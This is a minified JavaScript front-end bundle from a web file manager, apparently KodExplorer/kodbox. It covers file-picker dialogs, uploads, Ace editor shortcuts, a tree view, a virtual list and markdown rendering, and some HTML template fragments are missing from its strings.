t=!!_.isObject(e.pageInfo)&&e.pageInfo;e&&_.isArray(e.list)||(e={"list":[]}),n.currentCount=e.list.length,i(e.list,t)})},"dataList":function(t){if(this.target){var e,i="",r=(t!=undefined&&Object.keys(t).length||(i+='
'+LNG["explorer.noData"]+"
"),function r(e,t,i){var n,a={},o=(_.get(e,"attr.formatter")&&(a=e.attr.formatter(i)),$.objClone(e)),s=(o.attr=o.attr||{},o.attr=$.extend({},o.attr,a),_.unset(o.attr,"formatter"),[]);for(n in o.attr["class"]="list-"+t+(o.attr["class"]?" "+o.attr["class"]:""),o.attr)s.push(n+'="'+o.attr[n]+'"');return s.join(" ")}),n=this.columns;for(e in t=_.filter(t)){var a,o="",s=t[e];for(a in n){var c=a.split("_@_")[0],l=s[c],d=n[a];_.isFunction(n[a].formatter)&&(l=n[a].formatter(l,e,t)),o+="
'+l+"
"}i+="
"+o+"
"}var h=this.target.find(".content .list-table");h.children(":not(.title)").remove(),h.append(i),h.find(".list-row:not(.title)").each(function(e){$(this).addClass("row-content"),$(this).data("rowItem",t[e])}),this.trigger("after.table.make"),""==trim(this.target.find(".toolbar").text())?this.target.find(".toolbar").hide():this.target.find(".toolbar").show(),this.target.find(".table-empty-info").length?this.target.find(".footerbar .list-page").hide():this.target.find(".footerbar .list-page").show()}},"getRowData":function(e){return!(!e||!e.hasClass("row-content"))&&e.data("rowItem")},"bindNotify":function(){var i=this;this.listenTo(this.pageing,"change",function(e){this.refresh(i.config.data,e)}),this.listenTo(i,{"list.after":function(e,t){i.pageing.pageLoad(t,e)}})}})},function(e,t,o){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});t.ExplorerDialog=ExplorerMain.extend({"el":"","viewType":"explorerDialog","init":function(e){this.initParam=e,this.explorerRoot=e.explorerRoot,this.initDialog(e),this.initCommon(e),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"","{source:home}"==this.pathOpen&&(this.pathOpen=""),this.bindNotifyExplorer()},"initDialog":function(e){var t=this,i=o(29),i=this.renderHtml(i,{},!1),n=this.dialogPosition(),a=UUID(),n={"padding":0,"fixed":!0,"width":n.width,"height":n.height,"resize":!0,"ico":"","title":"file","content":i,"ok":!1,"close":function(){t.objectRemove(t)},"resizeCallback":function(){t.trigger("viewResize"),t.trigger("file.continer.resize")}};(n=$.extend(!0,n,e)).className=a+" explorer-dialog-open "+e.className,this.dialog=$.dialog(n),this.$el=$("."+a+" .aui-content"),this.dialog.$main.find(".aui-mask").remove(),this.dialog.zIndex();i=15*($(".explorer-dialog-open").length-1);this.dialog.$main.css({"left":"+="+i+"px","top":"+="+i+"px"}),this.bindResize(),$("body").attr("kod-lang",G.lang||"")},"bindNotifyExplorer":function(){var t=this,i=(this.initParam.initCallback&&this._delay(function(){this.initParam.initCallback.apply(this.pathAction)},10),this.initParam.openPathCallback&&this.listenToOnce(this.path,{"list.after":function(){this.initParam.openPathCallback.apply(this.pathAction)}}),this.listenTo(this.path,{"list.after":function(e,t,i){t=this.pathData.pathAddress(t);this.dialog.title(t.icon+t.name)}}),this.dialog.$main);i.bind("mousedown",function(e){1!=e.which||$.targetParent(e,".aui-main")||$(document).one("mouseup",function(e){$.isEdit()||i.hasClass("dialog-min-size")||t.focus()})}),this.pathFile&&this.pathAction.openFatherSelect(this.pathFile,!1)},"listenTree":function(){this.listenTo(this.tree,{"initAfter":function(){var e=this.pathOpen||this.history.historyPath()||G.user.myhome;this.path.initPath(e)},"nodeSelect":function(e){this.root.doAction("open",e.$node)}})},"bindResize":function(){var t=this.dialog.$main,i=function i(){var e=t.width()<600;t[e?"addClass":"removeClass"]("app-wap-small")};i=_.debounce(_.bind(i,this),50),this.bind("viewResize",i),i()},"dialogPosition":function(){return{"width":"80%","height":"75%"}}})},,function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var i=i(30),n=(i=i)&&i.__esModule?i:{"default":i};t["default"]=ClassBase.extend({"init":function(){},"fileSave":function(e,t,i,n){this.upload(e,"",i,{"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileSave":"1","fileInfo":"1"},"tipsID":n||"","tipsLoading":LNG["explorer.saving"],"tipsError":LNG["explorer.saveError"],"tipsSuccess":LNG["explorer.saveSuccess"],"uploadTo":t})},"upload":function(e,t,i,n){!t&&e instanceof window.File&&(t=e.name);var a={"uploadApi":API_URL("explorer/attachment/upload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)};$.extend(!0,a,n||{}),this.uploadParse(e,a,i,t)},"uploadFile":function(e,t,i){var n={"uploadApi":API_URL("explorer/upload/fileUpload"),"postParam":{"fileInfo":"1"},"single":!0,"needView":!1,"config":_.clone(G.system.settings.upload)};$.extend(!0,n,t||{}),this.uploadParse(e,n,i)},"uploadParse":function(a,o,e,t){var s,i=new n["default"]({"parent":this,"paramData":o}),r=function r(){i.uploadContent(a,t)};return this.uploadViewEvent(i,e),$.browserIS.mobile&&o.postParam?_.isString(a)?(e=new Blob([a],{"type":"text/plain"}),o.postParam.base64Upload="1",o.postParam.base64str=base64Encode(a),o.postParam.size=e.size,r()):a instanceof window.Blob?((s=new FileReader).readAsDataURL(a),s.onload=function(e){var t=s.result,i="base64,",n=t.indexOf(i);0<=n&&(t=t.substr(n+i.length)),o.postParam.base64Upload="1",o.postParam.base64str=t,o.postParam.size=a.size,r()}):r():r()},"uploadViewEvent":function(c,t){var e=this,i=[],n=!1,l=c.paramData.tipsLoading||LNG["explorer.uploading"],a=c.paramData.tipsError||LNG["explorer.upload.error"],o=c.paramData.tipsSuccess||LNG["explorer.upload.success"],s="uploadView"+UUID(),d=!(this[s]=c).paramData.single,h=Tips.notify({"id":c.paramData.tipsID||"","title":l,"delayClose":1500,"icon":" ri-upload-fill-2","process":{"process":0},"onClose":function(){c.objectRemove(),delete e[s]}}),r=function r(){var e;d&&(e=c.uploader.getStatus(),e=o+" "+e.success+"/"+e.total,h.icon("success").title(e).processHide().close()),t&&t(i)};this.listenTo(c,{"itemUploadProcess":function(e,t){var i=pathTools.fileSize,n=c.uploader.transfer||{},a=n.needTime?"; "+LNG["explorer.upload.needTime"]+" "+n.needTime:"",a=n.speed+a,o=(100*n.percent).toFixed(1)+"%",i=i(n.sizeTotal*n.percent)+"/"+i(n.sizeTotal),s="",r=(d&&(s=" "+((r=c.uploader.getStatus()).success+1)+"/"+r.total),"md5Read"==e.uploadPercentType?(r=(100*e.percentMd5).toFixed(1),a=LNG["explorer.upload.scan"]+" "+r+"%"):1==e.percent&&(a=LNG["explorer.upload.merge"]+"..."),'\n\t\t\t\t
\n\t\t\t\t\t'+a+'\n\t\t\t\t\t'+i+s+"\n\t\t\t\t
");h.title(l+o).process({"process":n.percent,"text":r})},"itemUploadSuccess":function(e,t){if(!t.code||!t.info)return d?Tips.notify.tips({"title":a,"icon":"error","delay":2e3}):h.title(a).icon("error").processHide().close(3e3);d?i.push(t.info):(i=t.info,h.icon("success").process({"process":1,"text":LNG["explorer.saved"]}).title(o).close()),n&&r()},"itemUploadError":function(e,t){var i=t.data||(_.isString(t)?t:""),i=a+" "+i;if(!t.code||!t.info)return d?Tips.notify.tips({"title":i,"icon":"error","delay":2e3}):h.title(i).icon("error").processHide().close(3e3)},"uploadFinished":function(){if(!c.uploader.getStatus().finished)return n=!0;r()}})},"bindPast":function(e,t){var i=this;$(e).on("paste",function(e){i.pasteImage(e,t)})},"pasteImage":function(s,r,c){var i,l=this,e=s.originalEvent||window.event;e&&e.clipboardData&&e.clipboardData.items&&((c=c||{}).postParam=c.postParam||{},i=[],_.each(e.clipboardData.items,function(e){var t;"string"!=e.kind&&(t=(e=e.getAsFile()).name||"",c.allowAllFiles?(e.type||1').appendTo(c),c.find(".editor-full-screen").bind("click",function(){c.toggleClass("ace-editor-full"),e.resize(),e.focus()}),e.commands.addCommand({"name":"escFull","bindKey":"Esc","exec":function(e){c.removeClass("ace-editor-full"),e.resize(),e.focus()}})},"bindEditorEvent":function(e){var i=this;this.editorChange=_.debounce(_.bind(this.editorChange,this),50),this.cursorChange=_.debounce(_.bind(this.cursorChange,this),10),e.commands.addCommand({"name":"preview","bindKey":{"win":"Ctrl-alt-G","mac":"Ctrl-command-G"},"exec":function(e,t){t.findAll(t.session.getTextRange()),i.cursorChange(t)}}),e.on("change",function(e,t){i.editorChange(t)}),e.on("changeSelection",function(e,t){i.cursorChange(t)}),e.commands.addCommand({"name":"showKeyboardShortcuts","bindKey":{"win":"Ctrl-Alt-h","mac":"Command-Alt-h"},"exec":function(t){ace.config.loadModule("ace/ext/keybinding_menu",function(e){e.init(t),t.showKeyboardShortcuts()})}}),e.commands.addCommand({"name":"aceEditorSave","bindKey":{"win":"Ctrl-s","mac":"Command-s"},"exec":function(e){$(e.container).trigger("aceEditorSave")}}),e.commands.addCommand({"name":"convertUpper","bindKey":{"win":"Ctrl-U","mac":"Command-U"},"exec":function(e){e.toUpperCase()}}),e.commands.addCommand({"name":"convertLower","bindKey":{"win":"Ctrl-Shift-U","mac":"Command-Shift-U"},"exec":function(e){e.toLowerCase()}}),e.commands.addCommand({"name":"phpBeautify","bindKey":{"win":"Ctrl-Shift-B","mac":"Command-Shift-B"},"exec":function(t){ace.config.loadModule("ace/ext/beautify",function(e){e.beautify(t.session)})}}),this.editorMobileBind(e),e.insertRangeWith=_.bind(this.insertRangeWith,e),e.toUpperCase=function(){this.insertRangeWith(function(e){return e.toUpperCase()})},e.toLowerCase=function(){this.insertRangeWith(function(e){return e.toLowerCase()})},$(e.container).find(".ace_text-layer").bind("click",function(){e.$isFocused||e.focus()}),this.bind("onRemove",function(){this.destoryEditor(e)})},"destoryEditor":function(i){i.renderer&&(i.destroy(),i.container.remove(),_.each(i,function(e,t){delete i[t]}))},"insertRangeWith":function(a){var o=this,e=o.session.selection.ranges;_.isEmpty(e)&&(o.selection.isEmpty()&&o.selection.selectWord(),e=[o.getSelectionRange()]),_.each(e,function(e){var t=o.session.getTextRange(e)||"",t=a(t);if(t)try{var i=e.clone();i.end=o.session.replace(e,t),o.selection.addRange(i)}catch(n){}})},"editorMobileBind":function(e){var t;$.browserIS.ios&&$.isWindowTouch()&&(t=$(e.container).find(".ace_text-input"),$.setStyle(".ace_editor .ace_text-input{\n\t\t\topacity:0.05 !important;\n\t transform:none !important;\n\t width: 30px !important;\n\t height:20px !important;\n\t z-index:10 !important;\n\t\t}","ace-editor-mobile-ios"),e.getOption("readOnly"))&&t.addClass("hidden").attr("disabled","disabled")},"cursorChange":function(e){e&&this.trigger("editor.cursorChange",e)},"editorChange":function(e){e&&(e.$formMakerInput||(e.$formMakerInput=$(e.container).prev(),e.$formMakerInput.is("input"))||(e.$formMakerInput="notForm"),"notForm"!=e.$formMakerInput&&$(e.$formMakerInput).trigger("change"),this.trigger("editor.change",e))}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});i=i(10);t["default"]=i.ExplorerDialog.extend({"explorerApi":!0,"init":function(e){this.initDialogView(e),this.initCommon(e),this.disableStoreValue(),this.pathOpen=e.pathOpen||"",this.pathFile=e.pathFile||"",this.bindExplorerApi(),this.filterParseOption()},"initDialogView":function(e){var t=this,i={"type":"file","createFile":{"name":"newfile.txt","fileRepeat":"rename","content":"","base64":!1},"single":!0,"allowExt":"","pathOpen":"","pathTree":"","makeUrl":!1,"authCheck":"write","pathCheck":"","filter":"","pathCheckAllow":function(){},"callback":function n(){},"title":"","viewOption":!1,"cancel":!0,"lock":!0,"background":"#000","opacity":.2,"width":900,"height":500,"className":UUID()+" pathSelectApi ","ok":function(){return t.selectConfirm(),!1}},n=("file"!=(i=$.extend(!0,i,e)).type&&(i.allowExt=""),i.callback);i.callback=function(){n.apply(i,arguments),t.dialog.close()},this.param=e,this.options=$.objClone(i),this.initParam=this.options,i.title=e.title||this.defaultTitle(),this.initDialog(i),this.initApiView()},"initApiView":function(){this.$dialog=this.dialog.$main,this.$el=this.$dialog.find(".aui-content");var e='
\n\t\t\t'+this.initParam.allowExt+"\n\t\t
",t=this.$dialog.find(".aui-buttons");t.addClass("btn-actions"),t.parent().addClass("explorer-select-footer"),$(e).insertAfter(t),this.createFileView()},"createFileView":function(){var e,t,i,n,a;"createFile"==this.initParam.type&&(e=this.$dialog.find(".aui-state-highlight"),t=this.$dialog.find(".select-api-input-box input"),i=this.initParam.createFile.name,n=pathTools.pathExt(i),this.initParam.single=!0,t.removeAttr("readonly").val(i),n&&(a=i.length-n.length-1,this._delay(function(){t.textSelect(0,a).focus()},400)),t.keyEnter(function(){return e.hasClass("disable-event")?Tips.tips(LNG["explorer.selectValidFolder"],"warning"):e.trigger("click")}))},"defaultTitle":function(){var e;if(!this.initParam.title)return e=(e={"file":LNG["explorer.selectFile"],"folder":LNG["explorer.selectFolder"],"all":LNG["explorer.selectFolderFile"],"createFile":LNG["explorer.fileSaveTo"],"default":LNG["common.select"]})[this.initParam.type]||e["default"],this.initParam.single||(e+='"('+LNG["explorer.selectMulti"]+';)"'),e},"bindExplorerApi":function(){this.listenTo(this.select,{"select.change":this.selectChange,"select.init":function(){this.disableNotAllow(),this.selectChange()}}),this.pathAction.openFile=_.bind(function(e){var t=this.$dialog.find(".aui-state-highlight");t.hasClass("disable-event")||t.trigger("click")},this)},"disableStoreValue":function(){var e="-explorer-api",t=(this.pageing.storeKey+=e,this.history&&(this.history.storeKey+=e),this.tree&&(this.tree.history.storeKey+=e),this.path.contentView);t.splitResize&&(t.splitResize.storeKey+=e)},"selectResult":[],"resultParse":function(e){var t="name,path,pathDisplay,size,type,ext,createUser,downloadPath".split(",");return e=_.isArray(e)?_.map(e,function(e){return _.pick(e,t)}):_.pick(e,t)},"selectConfirm":function(){var e=this.initParam,t=this.resultParse(this.selectResult);if(!_.isEmpty(t))return"createFile"==e.type?this.callbackCreateFile(t):1==e.makeUrl?this.callbackMakeUrl(t):void e.callback(t,e)},"callbackMakeUrl":function(e){var t=[];this.initParam.single?t.push({"path":e.path}):_.each(e,function(e){t.push({"path":e.path})}),this.callbackPathInfo(t)},"callbackCreateFile":function(t){var i=this,e=this.$dialog.find(".select-api-input-box input"),n=this.initParam.createFile;n.path=_.trimEnd(t.path,"/")+"/"+e.val(),this.pathModel.newFile(n,function(e){if(!e||!e.code)return Tips.tips(e,!1);Events.trigger("path.pathChange",t.path,e),i.callbackPathInfo([{"path":e.info}])})},"callbackPathInfo":function(e){var t=this;this.pathModel.pathInfo({"dataArr":e},function(e){if(!e||!e.code)return Tips.tips(e,!1);e=t.resultParse(e.data);t.initParam.callback(e,t.initParam)})},"checkPathExt":function(e){var t=this.initParam.allowExt||"";return""==(t=t.toLowerCase().replace(/\|/g,",").replace(/\s/g,""))||_.includes(t.split(","),e)},"checkPathAuth":function(e){var t=this.initParam.authCheck,i=this.pathAction.auth;switch(t){case"read":return i.canRead(e);case"write":return i.canWrite(e);default:return!0}},"pathCheckType":function(e,t){switch(t){case"truePath":return e.isTruePath||e.sourceID;case"self":return"user"==e.targetType&&e.targetID==G.user.userID;case"group":return"group"==e.targetType;default:return!0}},"filterParseOption":function(){var e=this.options,t=this.pathAction.pathFilterParse(this.options.filter);t&&((e.filterMap=t).type&&(e.type=t.type),t.ext&&(e.allowExt=t.ext.join(",")),t.parent)&&"notRoot"!=t.parent&&!this.param.pathOpen&&(this.pathOpen="{source:"+t.parent+"}/")},"checkPath":function(e){var t=this.initParam;return!(!e||!this.checkPathAuth(e)||t.filterMap&&!this.pathAction.pathFilterCheck(e,t.filterMap)||t.pathCheck&&!this.pathCheckType(e,t.pathCheck)||t.pathCheckAllow&&!1===t.pathCheckAllow(e)||_.includes(["folder","createFile"],t.type)&&"folder"!=e.type||!("file"!=t.type||"file"==e.type&&this.checkPathExt(e.ext)))},"selectAdd":function(e){return!(this.initParam.single&&1<=this.selectResult.length||!this.checkPath(e)||(this.selectResult.push(e),0))},"selectChange":function(){var t,i=this,n=this.select.fileLight,e=n.listSelect,a=this.path.jsonData;this.selectResult=[],0==e.length?this.selectAdd(a.current):1<=e.length&&(t=[],_.each(e,function(e){i.selectAdd(e)||t.push(e)}),_.each(t,function(e){n.setStatus(e,"select",!1)})),!_.isEmpty(this.selectResult)&&this.initParam.single&&(this.selectResult=this.selectResult[0]),this.changeDialogStatus()},"disableNotAllow":function(){var i=this,e=this.select.fileLight;e.listAllEach(function(e){var t=!1;switch(i.options.type){case"file":t="file"==e.type&&!i.checkPathExt(e.ext);break;case"folder":case"createFile":t="file"==e.type}t&&(e._data.status.disabled=!0)}),e.listReloadView()},"changeDialogStatus":function(){var e=this.$dialog.find(".aui-state-highlight"),t="disable-event";return _.isEmpty(this.selectResult)?(e.addClass(t),this.changeText("")):(e.removeClass(t),this.initParam.single?this.changeText(this.selectResult.name):(t=_.map(this.selectResult,"name").join(", "),e="["+this.selectResult.length+"]"+LNG["common.items"]+";"+t,void this.changeText(e)))},"changeText":function(){var e=0",o=e.nickName||e.name||e.nameDisplay||"",e.userID==window.G.user.userID&&(o=LNG["common.me"]),"\n\t\t\t\n\t\t"):""}}},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n=r(i(407)),a=r(i(408)),o=r(i(409)),s=r(i(410)),i=r(i(411));function r(e){return e&&e.__esModule?e:{"default":e}}n=_.extend(n["default"],a["default"],o["default"],s["default"],i["default"]);t["default"]=ClassBase.extend(n).extend({"nodeDataKey":"_VListnodeData","vlistType":"list","init":function(e){this.initData(e),this.bindEventScroll(),this.reloadViewAll()},"initData":function(n){var i={"$container":$(),"listData":[],"listPadding":{"top":5,"right":2,"bottom":100,"left":2},"screenShow":1.4,"nodeHeight":30,"nodeAutoHeight":!1,"nodeMargin":{"top":0,"left":0,"right":0,"bottom":0},"nodeHeaderMargin":{"top":0,"left":0,"right":0,"bottom":0},"nodeTemplate":"","nodeHeaderHeight":30,"nodeHeaderTemplate":"","nodeHeaderPinTop":!0,"scrollTouch":!1};this._each(i,function(e,t){var i=n.hasOwnProperty(t)?n[t]:e;this[t]=_.isObject(i)&&!$.isDom(i)?_.extend(e,i):i}),this._each(n,function(e,t){i.hasOwnProperty(t)||(this[t]=e)});this.$heightHolder=$('
').appendTo(this.$container),this.reloadViewAll(),this.resize=_.throttle(_.bind(this.resize,this),20),this.bind("onRemove",function(){this.reloadDataClear(),this.$heightHolder.remove()})},"bindEventScroll":function(){var t=this.$container,i=_.bind(this.scrollChange,this);t.bind("scroll",i),t.data("_vListView",this),this.bind("onRemove",function(e){t.unbind("scroll",i)}),this.bindEventScrollTouch()},"renderView":function(e,t){this.reloadData(e),t&&t()},"reloadData":function(e){this.listData=e=e||[{"header":!1,"list":[]}],this.reloadViewAll(!0)},"reloadDataClear":function(){this.listArrShowClear(),this.eachListData(function(e){e._data=!1})},"reloadViewAll":function(e){e&&this.reloadDataClear(),this.resizeSizeInit(),this.reloadDataAll()},"animate":0,"animateSet":function(e){this.animate=0=a)return l(c);var d=a,h=c._data.$node||c._data.$pinHeader;h||(h=(h=$(this.makeHtmlHeader(c))).appendTo(this.$container),(c._data.$pinHeader=h).data(this.nodeDataKey,c)),n&&n!=c&&i<=(c=c._data.height+0)&&(d-=c-i),h.addClass("pin-header"),h.css({"position":"sticky","top":d-a})}},"getItemHeader":function(e){return!!e&&(e._data.isHeader?e:!!(e=this.listData[e._data.groupIndex])&&e.header)},"scrollChange":function(){this.scrollTop=this.$container.scrollTop(),this.reloadView(),this.trigger("onScroll")},"groupShowToggle":function(e,t){var i,e=this.getItemByDom(e);e&&e._data&&(i=this.listData[e._data.groupIndex||0])&&(i.hidden?(i.list=i._listBefore||[],delete i._listBefore):(i._listBefore=i.list||[],i.list=[]),t=t||"group-hidden",i.hidden=!i.hidden,e._data.status[t]=i.hidden,this.reloadViewAll())},"makeHtmlItem":function(e){var t=e._nodeTemplate||this.nodeTemplate;return this.renderHtml(t,e,!1)},"makeHtmlHeader":function(e){var t=e._nodeTemplate||this.nodeHeaderTemplate;return this.renderHtml(t,e,!1)},"setItemStatus":function(e,t,i){this.setStatus(e,t,i)&&this.reloadView()},"setStatus":function(e,t,i){if(!e||!e._data||!t)return!1;var n=e._data.$node;e._data.status[t]=i,n&&(!i&&n.hasClass(t)&&n.removeClass(t),i)&&!n.hasClass(t)&&n.addClass(t)},"getItemByDom":function(e){e=$(e).data(this.nodeDataKey);return!(!e||!e._data)&&e},"getItemStatusByDom":function(e){e=$(e).data(this.nodeDataKey);return e&&e._data&&e._data.status}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0});var n,i=i(2),s=(i=i)&&i.__esModule?i:{"default":i};function a(e){return function(){var c=e.apply(this,arguments);return new Promise(function(o,s){return function r(e,t){try{var i=c[e](t),n=i.value}catch(a){return void s(a)}if(!i.done)return Promise.resolve(n).then(function(e){r("next",e)},function(e){r("throw",e)});o(n)}("next")})}}t["default"]=ClassBase.extend({"childMarginLeft":15,"init":function(){},"requestData":function(e,t,i){},"dataFilter":function(e){return e},"treeNodeRenderAfter":function(e){},"initView":(n=a(s["default"].mark(function r(t,i){var n,a,o;return s["default"].wrap(function(e){for(;;)switch(e.prev=e.next){case 0:return n="tree-"+roundString(5),a=this,(i=i||this.$el).attr("id",n),o={"async":{"enable":!0},"view":{"showLine":!1,"selectedMulti":!1,"expandSpeed":"fast","dblClickExpand":!1,"addDiyDom":_.bind(this.treeNodeRender,this)},"callback":{}},this.treeSetting=o,this.treeCallback["beforeAsync"]=this.beforeAsync,_.each(this.treeCallback,function(e,t){o.callback[t]=function(){var e=_.toArray(arguments);return a.trigger.apply(a,["tree."+t].concat(e)),a.treeCallback[t].apply(a,e)}}),e.next=10,requirePromise(VENDER_PATH+"zTree.js");case 10:if(this.$el){e.next=12;break}return e.abrupt("return","");case 12:this.defineTreeAsync(),this.requestData(t,function(e){this.initViewFinished(e,o,i,t,n)});case 14:case"end":return e.stop()}},r,this)})),function(e,t){return n.apply(this,arguments)}),"treeNodeRender":function(e,t){var e=$.fn.zTree.getZTreeObj(e).setting.treeObj,i="#"+t.tId+"_",n=e.find(i+"switch").remove(),a=this.childMarginLeft*t.level,a=(e.find(i+"ico").remove(),"\n\t\t\t\n\t\t\t"+n.prop("outerHTML")+'\t\t\t\t\n\t\t\t\n\t\t\t\t\n\t\t\t');e.find(i+"span").before(a),t.$node=e.find(i+"a").addClass("tree-node"),t.$ico=e.find(i+"my_ico"),t.$span=e.find(i+"span"),t.$node.data("treeNode",t),this.treeNodeRenderAfter(t)},"initViewFinished":function(e,t,i,n,a){if(!this.$el)return"";var o=this.dataFilter(e);this.trigger("initBefore",e,t),$.fn.zTree.init(i,t,o),this.zTree=$.fn.zTree.getZTreeObj(a),this.zTree.rootPath=n,e&&e.code||this.$el.html('
'+LNG["explorer.systemError"]+"
"),this.trigger("initAfter",this.zTree)},"defineTreeAsync":function(){$.fn.zTree._z.view.asyncNodeBefore=$.fn.zTree._z.view.asyncNode,$.fn.zTree._z.view.asyncNode=function(e,t,i,n){return e.callback.beforeAsync.apply(this,[e,t,i,n])}},"beforeAsync":function(i,n,a,o){var s,e=$.fn.zTree,r=e.consts.event,c=e._z.view,l=e._z.tools;return!(n&&n.isAjaxing||((s=n.$ico).addClass("ico_loading"),n.isAjaxing=!0,this.requestData(n,function(e){s.removeClass("ico_loading"),n.isAjaxing=null,n.zAsync=!0;var t=this.dataFilter(e);_.isEmpty(n.children)||(t=[]),n.isParent=!_.isEmpty(t),c.setNodeLineIcos(i,n),this.zTree&&this.zTree.updateNode(n),n.isParent&&c.addNodes(i,n,-1,t,!!a),i.treeObj.trigger(r.ASYNC_SUCCESS,[i.treeId,n,e]),l.apply(o),this.trigger("tree.loadData",n)},function(){s.removeClass("ico_loading"),n.isAjaxing=null,c.setNodeLineIcos(i,n),i.treeObj.trigger(r.ASYNC_ERROR),l.apply(o),this&&this.trigger("tree.loadData",!1)}),0))},"expandAuto":function(e,i,n){var a=this.zTree;if(a){for(var o,s,t=!1,r=(e=_.isString(e)?_.filter(e.split(","),function(e){return e&&"0"!=e}):e).reverse(),c=[],l=0;l.content").offset().top+e.parents(".kodTable>.content").height()-i-s<20)?t.removeClass().addClass("dropdown tpTips"):void t.removeClass().addClass("dropdown btTips")},"make":function(e,t,i){i&&_.isArray(i)||(i=[{"action":"edit","name":LNG["common.edit"]}]);var n="",a=(_.each(i,function(e,t){n+='
  • '+e.name+"
  • "}),""),o=!0,i=!1,s=undefined;try{for(var r,c=t[Symbol.iterator]();!(o=(r=c.next()).done);o=!0){var l=r.value;a+='
  • '+l.name+"
  • "}}catch(d){i=!0,s=d}finally{try{!o&&c["return"]&&c["return"]()}finally{if(i)throw s}}return'
    \n\t\t\t'+n+'\n \n
    "}})},function(e,t,i){"use strict";Object.defineProperty(t,"__esModule",{"value":!0}),t["default"]=function(){var t,a=function a(e){requireAsync([VENDER_PATH+"markdown/markdown-it.min",VENDER_PATH+"markdown/highlight.min",VENDER_PATH+"markdown/mermaid.min",VENDER_PATH+"markdown/raphael.min",VENDER_PATH+"markdown/abcjs-basic-min",VENDER_PATH+"markdown/plantuml",STATIC_PATH_ALL+"app/vender/markdown/katex/katex.min.css",VENDER_PATH+"markdown/katex/katex.min.js"],function(){window.mermaid&&window.mermaid.initialize({"startOnLoad":!0}),requireAsync([VENDER_PATH+"markdown/flowchart.min"],function(){var t=markdownit({"html":!0,"breaks":!0,"linkify":!0,"typographer":!0});_.each(m["default"],function(e){t.use.apply(t,e)}),i(t),n=t,e&&e(t)})})},i=function i(e){functionHook(e,"validateLink",!1,function(e,t){if(t[0]&&t[0].match(/^data:image\/\w+;/))return!0})},r=[],c=function c(n,e,t){var a=e.split("\n"),o=[],s=0,e=h(e),e=(_.each(e,function(e,t){var e=e.map[0],i=_.slice(a,s,e).join("\n"),i=l(n,i);o.push(i),s=e}),_.slice(a,s).join("\n"));o.push(l(n,e)),u(o,t),f(t),r=o},l=function l(e,t){var i=_.find(r,["text",t]);return i||{"text":t,"html":"
    "+(i=t==(i=s(e,t))&&"\x3c!--"==i?htmlEncode(i):i)+"
    ","time":timeFloat()}},o=!0,s=function s(e,t){var i=x.text.indexOf(t);if(o&&t&&-1!==i)n=x.out[i],_.pull(x.text,t),_.pull(x.out,n),x.text.push(t),x.out.push(n);else{var n=t;try{n=e.render(t||""),_.each(d,function(e){n=e(n)})}catch(a){}o&&t&&(x.text.length>=x.max&&(x.text.shift(),x.out.shift()),x.text.push(t),x.out.push(n))}return n},d=[],h=function h(e){for(var t={"h1":"heading_open","h2":"heading_open","h3":"heading_open","h4":"heading_open","h5":"heading_open","h6":"heading_open","table":"table_open","blockquote":"blockquote_open","ul":"bullet_list_open","p":"paragraph_open","code":"fence"},i=[],n=markdownit().parse(e,{"references":{}}),a=_.keys(t),o=0;o